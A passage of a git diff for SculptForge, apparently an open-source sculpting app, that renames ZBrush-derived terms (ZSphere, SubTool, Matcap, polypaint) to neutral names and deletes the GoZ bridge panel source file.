switch (d.op) {
- case ZSphereMode::Draw: {
+ case ForgeSphereMode::Draw: {
// The new sphere sits on the parent's surface where the drag started, sized by the drag.
glm::vec3 o, dir;
canvasRay(d.x, d.y, o, dir);
@@ -250,92 +250,92 @@ void App::zsphereDragTo(float x, float y) {
glm::vec3 o2, dir2;
canvasRay(x, y, o2, dir2);
const glm::vec3 at = planeHit(o2, dir2, c, glm::normalize(dir));
- zsphereAdd(s, d.sphere, at, 0.5f * z.radius, symmetry_, &d.added);
+ forgesphereAdd(s, d.sphere, at, 0.5f * z.radius, symmetry_, &d.added);
status_ = "Forge Spheres: new sphere, " + std::to_string(glm::distance(at, z.center) / z.radius).substr(0, 4) +
" parent radii out";
break;
}
const float wpp = worldPerPixel(c);
const float r = moved > 3.0f * uiScale_ && wpp > 0.0f ? std::max(moved * wpp, 0.02f * z.radius) : 0.5f * z.radius;
- zsphereAdd(s, d.sphere, c, r, symmetry_, &d.added);
+ forgesphereAdd(s, d.sphere, c, r, symmetry_, &d.added);
status_ = "Forge Spheres: new sphere, radius " + std::to_string(r).substr(0, 5);
break;
}
- case ZSphereMode::Move: {
+ case ForgeSphereMode::Move: {
glm::vec3 o, dir;
canvasRay(x, y, o, dir);
const glm::vec3 c = planeHit(o, dir, z.center, glm::normalize(dir)) + d.grab;
- zsphereSet(s, d.sphere, c, z.radius, symmetry_);
+ forgesphereSet(s, d.sphere, c, z.radius, symmetry_);
break;
}
- case ZSphereMode::Scale: {
+ case ForgeSphereMode::Scale: {
const float amount = ((x - d.x) - (y - d.y)) / (120.0f * uiScale_);
- zsphereSet(s, d.sphere, z.center, std::max(z.radius * std::exp(amount), 1e-4f), symmetry_);
+ forgesphereSet(s, d.sphere, z.center, std::max(z.radius * std::exp(amount), 1e-4f), symmetry_);
break;
}
}
- doc_.mesh = zsphereMesh(s, false);
+ doc_.mesh = forgesphereMesh(s, false);
doc_.mesh.topologyDirty = true;
doc_.bvh.build(doc_.mesh);
d.changed = true;
}
-void App::zsphereRelease() {
- ZSphereDrag& d = zsDrag_;
+void App::forgesphereRelease() {
+ ForgeSphereDrag& d = zsDrag_;
if (d.changed) {
Mesh after = std::move(doc_.mesh);
doc_.mesh = std::move(d.before);
doc_.replaceMeshUndoable(std::move(after), d.label);
- status_ = std::string("Forge Spheres: ") + d.label + "; " + std::to_string(doc_.mesh.zspheres.size()) + " spheres";
- if (d.added >= 0) zsphereSelected_ = d.added; // the new sphere
- else if (d.op == ZSphereMode::Move) zsphereSelected_ = d.sphere; // (an inserted joint, too)
+ status_ = std::string("Forge Spheres: ") + d.label + "; " + std::to_string(doc_.mesh.forgespheres.size()) + " spheres";
+ if (d.added >= 0) forgesphereSelected_ = d.added; // the new sphere
+ else if (d.op == ForgeSphereMode::Move) forgesphereSelected_ = d.sphere; // (an inserted joint, too)
}
d = {};
}
-int App::zsphereSelection() const {
- return zsphereActive() && zsphereSelected_ >= 0 && size_t(zsphereSelected_) < doc_.mesh.zspheres.size() ? zsphereSelected_
+int App::forgesphereSelection() const {
+ return forgesphereActive() && forgesphereSelected_ >= 0 && size_t(forgesphereSelected_) < doc_.mesh.forgespheres.size() ? forgesphereSelected_
: -1;
}
-void App::zsphereEdit(ZSphereEdit edit, int i) {
- if (!zsphereActive() || i < 0 || size_t(i) >= doc_.mesh.zspheres.size()) return;
+void App::forgesphereEdit(ForgeSphereEdit edit, int i) {
+ if (!forgesphereActive() || i < 0 || size_t(i) >= doc_.mesh.forgespheres.size()) return;
if (i == 0) {
- status_ = edit == ZSphereEdit::SetRoot ? "Forge Spheres: that sphere is the root already"
+ status_ = edit == ForgeSphereEdit::SetRoot ? "Forge Spheres: that sphere is the root already"
: "Forge Spheres: the root sphere stays (select another sphere)";
return;
}
- std::vector<ZSphere> s = doc_.mesh.zspheres;
+ std::vector<ForgeSphere> s = doc_.mesh.forgespheres;
const size_t before = s.size();
const char* label = "";
int select = -1;
switch (edit) {
- case ZSphereEdit::Delete:
- zsphereDelete(s, i, symmetry_);
+ case ForgeSphereEdit::Delete:
+ forgesphereDelete(s, i, symmetry_);
label = "Forge Sphere delete";
break;
- case ZSphereEdit::Insert:
- zsphereInsert(s, i, symmetry_, &select);
+ case ForgeSphereEdit::Insert:
+ forgesphereInsert(s, i, symmetry_, &select);
label = "Forge Sphere insert";
break;
- case ZSphereEdit::SetRoot:
- zsphereSetRoot(s, i);
+ case ForgeSphereEdit::SetRoot:
+ forgesphereSetRoot(s, i);
label = "Forge Sphere set root";
select = 0;
break;
}
- doc_.replaceMeshUndoable(zsphereMesh(s, doc_.mesh.zspherePreview), label);
- zsphereSelected_ = select;
- status_ = edit == ZSphereEdit::Delete ? "Forge Spheres: deleted " + std::to_string(before - s.size()) + " spheres; " +
+ doc_.replaceMeshUndoable(forgesphereMesh(s, doc_.mesh.forgespherePreview), label);
+ forgesphereSelected_ = select;
+ status_ = edit == ForgeSphereEdit::Delete ? "Forge Spheres: deleted " + std::to_string(before - s.size()) + " spheres; " +
std::to_string(s.size()) + " left"
- : edit == ZSphereEdit::Insert ? std::string("Forge Spheres: Forge Sphere insert; ") + std::to_string(s.size()) + " spheres"
+ : edit == ForgeSphereEdit::Insert ? std::string("Forge Spheres: Forge Sphere insert; ") + std::to_string(s.size()) + " spheres"
: std::string("Forge Spheres: Forge Sphere set root (the selected sphere is the root now)");
}
-bool App::zsphereRightDown(float x, float y) {
+bool App::forgesphereRightDown(float x, float y) {
zsMenu_ = {};
bool link = false;
- const int i = zsphereAt(x, y, &link);
+ const int i = forgesphereAt(x, y, &link);
if (i < 0) return false;
zsMenu_.armed = true;
zsMenu_.sphere = i;
@@ -346,8 +346,8 @@ bool App::zsphereRightDown(float x, float y) {
return true;
}
-void App::drawZSphereMenu() {
- constexpr const char* kMenu = "Forge Sphere##zsphere_menu";
+void App::drawForgeSphereMenu() {
+ constexpr const char* kMenu = "Forge Sphere##forgesphere_menu";
const bool appearing = zsMenu_.open;
if (zsMenu_.open) {
ImGui::OpenPopup(kMenu);
@@ -358,7 +358,7 @@ void App::drawZSphereMenu() {
if (!ImGui::BeginPopup(kMenu)) return;
zsMenuShown_ = true;
const int i = zsMenu_.sphere;
- if (!zsphereActive() || i < 0 || size_t(i) >= doc_.mesh.zspheres.size()) {
+ if (!forgesphereActive() || i < 0 || size_t(i) >= doc_.mesh.forgespheres.size()) {
ImGui::CloseCurrentPopup();
ImGui::EndPopup();
return;
@@ -366,24 +366,24 @@ void App::drawZSphereMenu() {
Demo::pushScope("Forge Sphere menu");
ImGui::TextDisabled(i == 0 ? "Root sphere" : "Sphere %d", i);
ImGui::Separator();
- if (ImGui::MenuItem("Delete Sphere", nullptr, false, i > 0)) zsphereEdit(ZSphereEdit::Delete, i);
- if (ImGui::MenuItem("Insert Between", nullptr, false, i > 0)) zsphereEdit(ZSphereEdit::Insert, i);
- if (ImGui::MenuItem("Set as Root", nullptr, false, i > 0)) zsphereEdit(ZSphereEdit::SetRoot, i);
+ if (ImGui::MenuItem("Delete Sphere", nullptr, false, i > 0)) forgesphereEdit(ForgeSphereEdit::Delete, i);
+ if (ImGui::MenuItem("Insert Between", nullptr, false, i > 0)) forgesphereEdit(ForgeSphereEdit::Insert, i);
+ if (ImGui::MenuItem("Set as Root", nullptr, false, i > 0)) forgesphereEdit(ForgeSphereEdit::SetRoot, i);
Demo::popScope();
ImGui::EndPopup();
}
-void App::drawZSphereOverlay() {
- if (!zsphereActive() || doc_.mesh.zspherePreview || !doc_.activeSubtoolInfo().visible) return;
+void App::drawForgeSphereOverlay() {
+ if (!forgesphereActive() || doc_.mesh.forgespherePreview || !doc_.activePartInfo().visible) return;
if (ImGui::GetIO().WantCaptureMouse) return;
const CanvasRect cr = canvasRect();
if (!cr.contains(mouseX_, mouseY_)) return;
- const bool dragging = drag_ == Drag::ZSphere;
+ const bool dragging = drag_ == Drag::ForgeSphere;
if (drag_ != Drag::None && !dragging) return;
ImDrawList* dl = ImGui::GetBackgroundDrawList();
const float s = uiScale_;
- if (const int sel = zsphereSelection(); sel >= 0 && !dragging) { // the selected sphere, in orange
- const ZSphere& z = doc_.mesh.zspheres[size_t(sel)];
+ if (const int sel = forgesphereSelection(); sel >= 0 && !dragging) { // the selected sphere, in orange
+ const ForgeSphere& z = doc_.mesh.forgespheres[size_t(sel)];
ImVec2 c;
const float wpp = worldPerPixel(z.center);
dl->PushClipRect(ImVec2(cr.x, cr.y), ImVec2(cr.x + cr.w, cr.y + cr.h), true);
@@ -391,21 +391,21 @@ void App::drawZSphereOverlay() {
dl->PopClipRect();
}
bool link = false;
- const int i = dragging ? zsDrag_.sphere : zsphereAt(mouseX_, mouseY_, &link);
- if (i < 0 || size_t(i) >= doc_.mesh.zspheres.size()) return;
+ const int i = dragging ? zsDrag_.sphere : forgesphereAt(mouseX_, mouseY_, &link);
+ if (i < 0 || size_t(i) >= doc_.mesh.forgespheres.size()) return;
const bool alt = !dragging && (inputMods() & SDL_KMOD_ALT);
dl->PushClipRect(ImVec2(cr.x, cr.y), ImVec2(cr.x + cr.w, cr.y + cr.h), true);
const ImU32 col = alt ? IM_COL32(255, 90, 80, 230) : IM_COL32(120, 200, 255, 230);
if (link && !dragging) { // Draw: the joint a click would add
- const ZSphere& c = doc_.mesh.zspheres[size_t(i)];
- const ZSphere& p = doc_.mesh.zspheres[size_t(c.parent)];
+ const ForgeSphere& c = doc_.mesh.forgespheres[size_t(i)];
+ const ForgeSphere& p = doc_.mesh.forgespheres[size_t(c.parent)];
ImVec2 m;
const glm::vec3 mid = (c.center + p.center) * 0.5f;
const float wpp = worldPerPixel(mid);
- if (zsphereMode_ == ZSphereMode::Draw && gizmoProject(mid, m) && wpp > 0.0f)
+ if (forgesphereMode_ == ForgeSphereMode::Draw && gizmoProject(mid, m) && wpp > 0.0f)
dl->AddCircle(m, 0.5f * (c.radius + p.radius) / wpp, IM_COL32(120, 200, 255, 160), 48, 1.5f * s);
} else {
- const ZSphere& z = doc_.mesh.zspheres[size_t(i)];
+ const ForgeSphere& z = doc_.mesh.forgespheres[size_t(i)];
ImVec2 c;
const float wpp = worldPerPixel(z.center);
if (gizmoProject(z.center, c) && wpp > 0.0f) dl->AddCircle(c, z.radius / wpp, col, 64, 2.0f * s);
diff --git a/src/app/PanelGeometry.cpp b/src/app/PanelGeometry.cpp
index f6e3479b..1c20d619 100644
--- a/src/app/PanelGeometry.cpp
+++ b/src/app/PanelGeometry.cpp
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Tool > Geometry: subdivision levels, as in ZBrush (Lower Res / Higher Res, SDiv, Del Lower / Del Higher,
+// Tool > Geometry: subdivision levels (Lower Res / Higher Res, SDiv, Del Lower / Del Higher,
// Reconstruct Subdiv, Divide with Smt). The levels themselves live in core/Multires.
#include "app/App.h"
#include "app/Ui.h"
@@ -49,7 +49,7 @@ void App::drawGeometrySection() {
ui::ActionButton(*this, "geometry.del_higher", ImVec2(half, 0));
ui::ActionButton(*this, "geometry.reconstruct", ImVec2(-1, 0));
- // Divide with its Smt toggle beside it, as in ZBrush.
+ // Divide with its Smt toggle beside it.
const float smtW = ImGui::CalcTextSize("Smt").x + 2.0f * style.FramePadding.x + 6.0f * uiScale_;
ui::ActionButton(*this, "geometry.divide", ImVec2(ImGui::GetContentRegionAvail().x - smtW - style.ItemSpacing.x, 0),
ui::Look::IconLabel);
diff --git a/src/app/PanelGoz.cpp b/src/app/PanelGoz.cpp
deleted file mode 100644
index dfb63f9a..00000000
--- a/src/app/PanelGoz.cpp
+++ /dev/null
@@ -1,113 +0,0 @@
-// SculptForge - open source digital sculpting
-// SPDX-License-Identifier: GPL-3.0-or-later
-//
-// File > Send to ZBrush: send/receive through the GoZ-compatible bridge, GoZ and STL files.
-#include "app/App.h"
-
-#include "io/BridgeProtocol.h"
-#include "io/GozIO.h"
-
-#include <filesystem>
-
-namespace sf {
-
-namespace {
-
-const SDL_DialogFileFilter kGozFilters[] = {{"Bridge files", bridge::kDialogPattern}, {"All files", "*"}};
-
-long long fileTime(const std::string& path) {
- if (path.empty()) return 0;
- std::error_code ec;
- auto t = std::filesystem::last_write_time(std::filesystem::path(std::u8string(path.begin(), path.end())), ec);
- return ec ? 0 : static_cast<long long>(t.time_since_epoch().count());
-}
-
-} // namespace
-
-void SDLCALL App::onGozFileChosen(void* userdata, const char* const* files, int) {
- wakeMainLoop(); // a file dialog answered (maybe on another thread): redraw now
- if (!files || !files[0]) return;
- auto* req = static_cast<GozDialog*>(userdata);
- std::string path = files[0];
- if (req->kind != GozFile::Import &&
- std::filesystem::path(std::u8string(path.begin(), path.end())).extension().empty())
- path += req->kind == GozFile::ExportStl ? ".stl" : bridge::kExt;
- std::lock_guard lock(req->app->pendingMutex_);
- req->app->gozPendingFiles_.push_back({req->kind, std::move(path)});
-}
-
-void App::runGozCommand(const std::string& name, const Args& args) {
- Args a = args;
- if (gozFolder_[0] && (name == "goz_send" || name == "goz_receive")) a["folder"] = std::string(gozFolder_);
- runCommand(name, a);
- // A new mesh arrived: frame it (runCommand does this for "open").
- if ((name == "goz_receive" || name == "goz_import") &&
- (status_.rfind("Received", 0) == 0 || status_.rfind("Opened", 0) == 0))
- camera_.frame(sceneBounds());
- if (name == "goz_send") gozListTime_ = fileTime(gozObjectListPath(gozFolder_[0] ? gozFolder_ : gozDefaultRoot()));
-}
-
-void App::drawGozMenu() {
- if (!gozInitialised_) pollGoz(); // sets up the dialogs
- if (!ImGui::BeginMenu("Bridge")) return;
- const std::string root = gozFolder_[0] ? std::string(gozFolder_) : gozDefaultRoot();
- const bool bridge = !root.empty();
- if (ImGui::MenuItem("Send")) {
- runGozCommand("goz_send");
- if (bridge) gozAutoReceive_ = true; // a round trip comes back the same way
- }
- if (!bridge && ImGui::IsItemHovered()) ImGui::SetTooltip("%s", gozUnavailableMessage().c_str());
- if (ImGui::MenuItem("Receive")) runGozCommand("goz_receive");
- if (!bridge && ImGui::IsItemHovered()) ImGui::SetTooltip("%s", gozUnavailableMessage().c_str());
- if (ImGui::MenuItem("Receive automatically", nullptr, &gozAutoReceive_, bridge) && gozAutoReceive_)
- gozListTime_ = fileTime(gozObjectListPath(root));
- if (bridge) ImGui::TextDisabled("Bridge folder: %s", root.c_str());
- else ImGui::TextDisabled("No default bridge folder on this system;\nBridge files still import and export.");
- ImGui::SetNextItemWidth(260.0f * uiScale_);
- ImGui::InputTextWithHint("##gozfolder", "Custom bridge folder (optional)", gozFolder_, sizeof(gozFolder_));
- ImGui::Separator();
- if (ImGui::MenuItem("Import Bridge file..."))
- SDL_ShowOpenFileDialog(onGozFileChosen, &gozDialogs_[int(GozFile::Import)], window_, kGozFilters, 2, nullptr, false);
- if (ImGui::MenuItem("Export Bridge file..."))
- SDL_ShowSaveFileDialog(onGozFileChosen, &gozDialogs_[int(GozFile::Export)], window_, kGozFilters, 2, nullptr);
- ImGui::EndMenu();
-}
-
-void App::pollGoz() {
- if (!gozInitialised_) {
- gozInitialised_ = true;
- for (int i = 0; i < int(GozFile::Count); ++i) gozDialogs_[i] = {this, GozFile(i)};
- // Register this executable as ZBrush's GoZ target (GoZApps/SculptForge/GoZ_Config.txt).
- if (const char* base = SDL_GetBasePath()) {
-#ifdef _WIN32
- setGozApplicationPath(std::string(base) + "sculptforge.exe");
-#else
- setGozApplicationPath(std::string(base) + "sculptforge");
-#endif
- }
- }
- std::vector<std::pair<GozFile, std::string>> files;
- {
- std::lock_guard lock(pendingMutex_);
- files.swap(gozPendingFiles_);
- }
- for (const auto& [kind, path] : files) {
- // Importing replaces the scene and its undo history, so ask about unsaved work first.
- if (kind == GozFile::Import)
- confirmDiscard([this, p = path] { runGozCommand("goz_import", {{"path", p}}); });
- else runGozCommand(kind == GozFile::Export ? "goz_export" : "export_stl", {{"path", path}});
- }
-
- // Auto-receive: ZBrush rewrites GoZ_ObjectList.txt on every GoZ send. Check once a second.
- if (!gozAutoReceive_ || doc_.sculptor.strokeActive()) return;
- const Uint64 now = SDL_GetTicksNS();
- if (now - gozLastPollNs_ < 1'000'000'000ull) return;
- gozLastPollNs_ = now;
- const std::string list = gozObjectListPath(gozFolder_[0] ? std::string(gozFolder_) : gozDefaultRoot());
- const long long t = fileTime(list);
- if (t == 0 || t == gozListTime_) return;
- gozListTime_ = t;
- runGozCommand("goz_receive");
-}
-
-} // namespace sf
diff --git a/src/app/PanelKelvinlet.cpp b/src/app/PanelKelvinlet.cpp
index 7197808b..0bc5db22 100644
--- a/src/app/PanelKelvinlet.cpp
+++ b/src/app/PanelKelvinlet.cpp
@@ -140,7 +140,7 @@ bool App::kelvinPump() {
s.view.probe = nullptr;
s.view.radiusProbe = nullptr;
s.view.settings = dabSettings();
- s.uploadId = doc_.activeSubtoolInfo().id;
+ s.uploadId = doc_.activePartInfo().id;
renderer_.setPersistentUpload(uiPrefs_.fastUpload);
renderer_.bindStrokeUpload(s.uploadId, s.upload);
s.prepare = &displayedMesh() == &doc_.mesh;
@@ -521,7 +521,7 @@ void App::drawCaptureWindow() {
ui::HelpText("Detail Clone", nullptr, "Paint copies of the captured detail along your strokes, each turned to follow the stroke.", help);
ImGui::SameLine();
if (ImGui::Button("Save to Library##capture", ImVec2(w2, 0))) {
- // The VDM into the brush library, the alpha into the LightBox's Alphas folder.
+ // The VDM into the brush library, the alpha into the Library's Alphas folder.
Args a = args();
a["save"] = true;
runCommand("capture_vdm", a);
diff --git a/src/app/PanelMasking.cpp b/src/app/PanelMasking.cpp
index ad8240eb..8ff33a5f 100644
--- a/src/app/PanelMasking.cpp
+++ b/src/app/PanelMasking.cpp
@@ -36,8 +36,8 @@ std::string symmetryAxes(const Symmetry& s) { return std::string(s.x ? "x" : "")
void App::refreshSymmetryPivot() {
if (!symmetry_.local) return;
if (doc_.sculptor.strokeActive() || solverBusy()) return; // (the centre holds still during a stroke)
- const uint64_t key = doc_.undo.revision() * 0x9E3779B97F4A7C15ull ^ (uint64_t(doc_.activeSubtool) << 40) ^
- uint64_t(doc_.mesh.vertexCount()) ^ (uint64_t(doc_.subtools.size()) << 56);
+ const uint64_t key = doc_.undo.revision() * 0x9E3779B97F4A7C15ull ^ (uint64_t(doc_.activePart) << 40) ^
+ uint64_t(doc_.mesh.vertexCount()) ^ (uint64_t(doc_.parts.size()) << 56);
if (key == symmetryPivotKey_) return;
symmetryPivotKey_ = key;
symmetry_.pivot = symmetryPivot(doc_.mesh);
@@ -78,7 +78,7 @@ void App::beginMaskStroke(float x, float y) {
precisionActive_ = false;
pickSmoother_.reset();
strokeCurve_ = PressurePoints(); // (mask strokes: the tablet's curve only)
- // ZBrush: a Ctrl+click on the model blurs the mask (Ctrl+Alt+click sharpens it); only a drag paints. The
+ // a Ctrl+click on the model blurs the mask (Ctrl+Alt+click sharpens it); only a drag paints. The
// pen's eraser end set to Erase mask paints straight away.
maskClickPending_ = ctrlDown(inputMods()) && !blenderStyle(); // (Blender's Mask brush dabs on a click)
maskClickX_ = x;
@@ -93,7 +93,7 @@ void App::maskClickRelease() {
if (anyMasked(doc_.mesh)) runCommand(sharpen ? "mask_sharpen" : "mask_blur");
}
-// ZBrush convention: Ctrl+drag on the background with MaskPen draws a mask rectangle (#48) that masks what it
+// classic convention: Ctrl+drag on the background with MaskPen draws a mask rectangle (#48) that masks what it
// covers, and clears the mask when it covers none of the model. With nothing masked the SculptForge input style
// zooms instead, as it did before masking existed.
void App::maskCanvasMove(float x, float y) {
@@ -125,7 +125,7 @@ void App::maskSelectMouseUp() {
const bool alt = (inputMods() & SDL_KMOD_ALT) != 0;
if (!selectMoved_) {
// A click on the background inverts the mask, as with MaskPen; on the model it blurs the mask (Alt:
- // sharpens it), as with MaskPen and as in ZBrush whichever mask brush is picked (#51).
+ // sharpens it), as with MaskPen and whichever mask brush is picked (#51).
doc_.syncBvh();
RayHit hit;
if (!pick(selectPath_.front().x, selectPath_.front().y, hit)) {
@@ -136,7 +136,7 @@ void App::maskSelectMouseUp() {
return;
}
// Mask the inside, or unmask it with Alt (Mask Strength sets how much), mirrored by the symmetry like a mask
- // stroke (#51). A shape that covers none of the model clears the mask instead (ZBrush).
+ // stroke (#51). A shape that covers none of the model clears the mask instead.
runSelection("mask_rect", "mask_lasso",
withSymmetryArgs({{"unmask", alt}, {"strength", double(maskStrength_)}, {"clear_outside", !alt},
{"front_faces_only", maskFrontFacesOnly_}}));
@@ -248,7 +248,7 @@ void App::drawMaskingSection() {
ImGui::SetNextItemWidth(-1);
ui::SliderInside("##cavitythreshold", &cavityThreshold_, -0.2f, 0.5f, "Threshold %.2f");
if (ImGui::Button(tr("By face group"), ImVec2(half, 0)))
- runCommand("mask_by_polygroup", {{"group", double(maskGroup_)}});
+ runCommand("mask_by_facegroup", {{"group", double(maskGroup_)}});
if (ImGui::IsItemHovered()) ImGui::SetTooltip("%s", tr("Mask one face group (replaces the mask)"));
ImGui::SameLine();
// The group id as a drag field the size of the button beside it (Ctrl+click or double-click types a number),
@@ -257,10 +257,10 @@ void App::drawMaskingSection() {
if (ImGui::DragInt("##maskgroup", &maskGroup_, 0.1f, 0, 1 << 30, tr("Group %d"), ImGuiSliderFlags_AlwaysClamp))
maskGroup_ = std::max(0, maskGroup_);
- // Mask from the mesh border (#61): open edges, optionally polygroup borders, a few rings wide.
+ // Mask from the mesh border (#61): open edges, optionally face group borders, a few rings wide.
if (ImGui::Button("By border##mask", ImVec2(half, 0)))
runCommand("mask_border", {{"rings", double(maskBorderRings_)},
- {"polygroups", maskBorderGroups_},
+ {"facegroups", maskBorderGroups_},
{"soft", maskBorderSoft_},
{"strength", double(maskStrength_)}});
ui::HelpText("By border", nullptr,
diff --git a/src/app/PanelPacks.cpp b/src/app/PanelPacks.cpp
index cf7f5200..7c982587 100644
--- a/src/app/PanelPacks.cpp
+++ b/src/app/PanelPacks.cpp
@@ -9,7 +9,7 @@
#include "app/I18n.h"
#include "app/Ui.h"
#include "core/BrushLibrary.h"
-#include "core/Matcap.h"
+#include "core/LitSphere.h"
#include "core/MaterialRecipe.h"
#include "core/Project.h"
#include "core/Texture.h"
@@ -111,7 +111,7 @@ void App::registerPackActions() {
[this] { openNewPack(); });
add("pack.library", "Packs", ICON_LC_PACKAGE, "Library",
"Library > Packs: the installed packs. Switch one off or remove it, apply its keymap, add its pie menus.",
- [this] { lightbox_.show(LibraryTab::Packs); });
+ [this] { libraryBrowser_.show(LibraryTab::Packs); });
add("macro.record", "Record Macro", ICON_LC_CIRCLE_DOT, "Library > Packs",
"Start recording: the commands you run (menus, buttons, the console) are kept as a macro until you press it "
"again. Files inside the project folder are kept as relative paths, any other file is asked for when the "
@@ -126,7 +126,7 @@ void App::registerPackActions() {
packs_.materials = enabledPackItems(PackItemType::Material);
packs_.keymaps = enabledPackItems(PackItemType::Keymap);
packs_.pieMenus = enabledPackItems(PackItemType::PieMenu);
- loadPackMatcaps();
+ loadPackLitSpheres();
refreshMacroActions();
}
@@ -152,18 +152,18 @@ void App::refreshMacroActions() {
}
}
-void App::loadPackMatcaps() {
- for (int i : packs_.matcaps) removeCustomMatcap(i);
- packs_.matcaps.clear();
- for (const PackContentItem& item : enabledPackItems(PackItemType::Matcap)) {
- CustomMatcap m;
+void App::loadPackLitSpheres() {
+ for (int i : packs_.litspheres) removeCustomLitSphere(i);
+ packs_.litspheres.clear();
+ for (const PackContentItem& item : enabledPackItems(PackItemType::LitSphere)) {
+ CustomLitSphere m;
std::string err;
- if (!readMatcapImage(item.file, m, err)) {
+ if (!readLitSphereImage(item.file, m, err)) {
SDL_Log("Lit Spheres: %s (pack %s): %s", item.file.c_str(), item.packName.c_str(), err.c_str());
continue;
}
m.name = item.label(); // "Chrome (Member pack)": never mistaken for (or replacing) another
- packs_.matcaps.push_back(addCustomMatcap(std::move(m)));
+ packs_.litspheres.push_back(addCustomLitSphere(std::move(m)));
}
}
@@ -176,7 +176,7 @@ void App::refreshPacks() {
packs_.materials = enabledPackItems(PackItemType::Material);
packs_.keymaps = enabledPackItems(PackItemType::Keymap);
packs_.pieMenus = enabledPackItems(PackItemType::PieMenu);
- loadPackMatcaps();
+ loadPackLitSpheres();
refreshMacroActions();
}
@@ -345,7 +345,7 @@ void App::drawPackReview() {
refreshPacks();
status_ = "Installed " + m.name + " " + m.version + ": " + packCountsText(r->counts) +
(packsSafeMode() ? " (packs are off this session: --no-packs)" : "");
- lightbox_.show(LibraryTab::Packs);
+ libraryBrowser_.show(LibraryTab::Packs);
close = true;
} else {
status_ = "Could not install " + m.name + ": " + err;
@@ -558,9 +558,9 @@ void App::openNewPack() {
if (!library_.user.empty())
for (const std::string& f : filesIn(library_.user + "/Alphas", images))
add(PackItemType::Alpha, utf8(fsPath(f).stem()), f);
- for (const std::string& f : filesIn(matcapFolder(), images)) add(PackItemType::Matcap, utf8(fsPath(f).stem()), f);
+ for (const std::string& f : filesIn(litsphereFolder(), images)) add(PackItemType::LitSphere, utf8(fsPath(f).stem()), f);
if (hasTexture(doc_.mesh)) {
- const std::string name = doc_.activeSubtoolInfo().name + " Material";
+ const std::string name = doc_.activePartInfo().name + " Material";
const std::string text = materialRecipeText(*doc_.mesh.texture, name);
MaterialRecipe probe;
std::string err;
@@ -904,7 +904,7 @@ double App::packsTestValue(const std::string& name) const {
}
if (name == "pack_alphas") return double(packs_.alphas.size());
if (name == "pack_materials") return double(packs_.materials.size());
- if (name == "pack_matcaps") return double(packs_.matcaps.size());
+ if (name == "pack_litspheres") return double(packs_.litspheres.size());
if (name == "pack_keymaps") return double(packs_.keymaps.size());
if (name == "pack_brushes")
return double(std::count_if(doc_.brushes.begin(), doc_.brushes.end(),
diff --git a/src/app/PanelPaintLayers.cpp b/src/app/PanelPaintLayers.cpp
index f351782e..376d4feb 100644
--- a/src/app/PanelPaintLayers.cpp
+++ b/src/app/PanelPaintLayers.cpp
@@ -2,21 +2,21 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// Paint Layers sub-palette (Tool palette, next to the sculpt Layers): a
-// Photoshop-style stack of polypaint layers for the active SubTool. Rows list
+// Photoshop-style stack of vertex paint layers for the active Part. Rows list
// the layers top first with Base at the bottom; click selects the layer the
// Paint brush writes into, double-click renames, the eye and lock toggle.
// Below: blend mode and opacity of the active layer, then New / Duplicate /
// Delete, Up / Down / Merge down / Flatten and Clear. Every change goes through
// the paint_layer_* commands (core/PaintLayer.cpp), so it is undoable and
// scriptable; the opacity slider previews live and commits on release. When
-// the SubTool paints into its texture (Tool > Texture Map) the same palette
+// the Part paints into its texture (Tool > Texture Map) the same palette
// shows and edits the texture's layers (the commands hand over to it).
#include "app/App.h"
#include "app/Ui.h"
#include "app/I18n.h"
#include "core/PaintLayer.h"
-#include "core/Polypaint.h"
+#include "core/VertexPaint.h"
#include "core/Texture.h"
#include <IconsLucide.h>
@@ -68,7 +68,7 @@ bool iconToggle(const char* id, const char* icon, bool on, const char* tip) {
namespace {
-// One row of the palette: a polypaint layer or a texture layer.
+// One row of the palette: a vertex paint layer or a texture layer.
struct LayerRow {
std::string name;
BlendMode blend = BlendMode::Normal;
@@ -76,7 +76,7 @@ struct LayerRow {
bool visible = true, locked = false;
};
-// The stack the palette shows: the texture's layers when painting goes into the texture, else polypaint's.
+// The stack the palette shows: the texture's layers when painting goes into the texture, else vertex paint's.
std::vector<LayerRow> layerRows(const Mesh& m, bool texture, int& active) {
std::vector<LayerRow> rows;
if (texture) {
diff --git a/src/app/PanelSubTools.cpp b/src/app/PanelParts.cpp
similarity index 74%
rename from src/app/PanelSubTools.cpp
rename to src/app/PanelParts.cpp
index 25c597c8..8f06dc9e 100644
--- a/src/app/PanelSubTools.cpp
+++ b/src/app/PanelParts.cpp
@@ -1,10 +1,10 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// SubTools UI: the SubTools panel (list with visibility toggles, inline
+// Parts UI: the Parts panel (list with visibility toggles, inline
// rename, append / duplicate / delete / reorder / solo / merge / split) and
-// the ZBrush viewport gesture Alt+click to select a SubTool. Every action goes
-// through the subtool_* commands (core/SubTools.cpp).
+// the classic viewport gesture Alt+click to select a Part. Every action goes
+// through the part_* commands (core/Parts.cpp).
#include "app/App.h"
#include "io/BridgeProtocol.h"
#include "app/Demo.h"
@@ -29,14 +29,14 @@ namespace {
constexpr float kClickSlopPx = 4.0f; // movement that turns an Alt+click into a drag
constexpr Uint64 kPartClickNs = 500000000ull; // a pen pressed longer than this isn't an Alt+click
-constexpr int kListRows = 6; // the list scrolls beyond this many SubTools
-// The SubTool list's colours; should become theme tokens (Theme.h).
+constexpr int kListRows = 6; // the list scrolls beyond this many Parts
+// The Part list's colours; should become theme tokens (Theme.h).
// The recessed area behind the rows, a step below panelBg (the Classic look's #1c1c1f; other looks their shelf shade).
ImVec4 listWell() { return theme::look.id == 0 ? theme::rgb(0x1c1c1f) : theme::shellBg; }
constexpr ImVec4 kRowSelected = theme::rgb(0xffffff, 0.09f); // the active row: lighter neutral, plus the accent bar
constexpr ImVec4 kRowHover = theme::rgb(0xffffff, 0.11f);
constexpr ImVec4 kRowPressed = theme::rgb(0xffffff, 0.14f);
-constexpr ImVec4 kThumbWell = theme::rgb(0x000000, 0.22f); // behind a SubTool thumbnail (#43)
+constexpr ImVec4 kThumbWell = theme::rgb(0x000000, 0.22f); // behind a Part thumbnail (#43)
const SDL_DialogFileFilter kAppendFilters[] = {
{"Models and projects", "obj;fbx;glb;gltf;ply;stl;" SF_BRIDGE_MESH_EXTS ";usda;usd;usdz;sfproj"}, {"All files", "*"}};
@@ -78,17 +78,17 @@ void drawEye(ImDrawList* dl, ImVec2 c, float size, bool open, ImU32 col) {
} // namespace
-int App::pickSubtool(float x, float y, RayHit* out) {
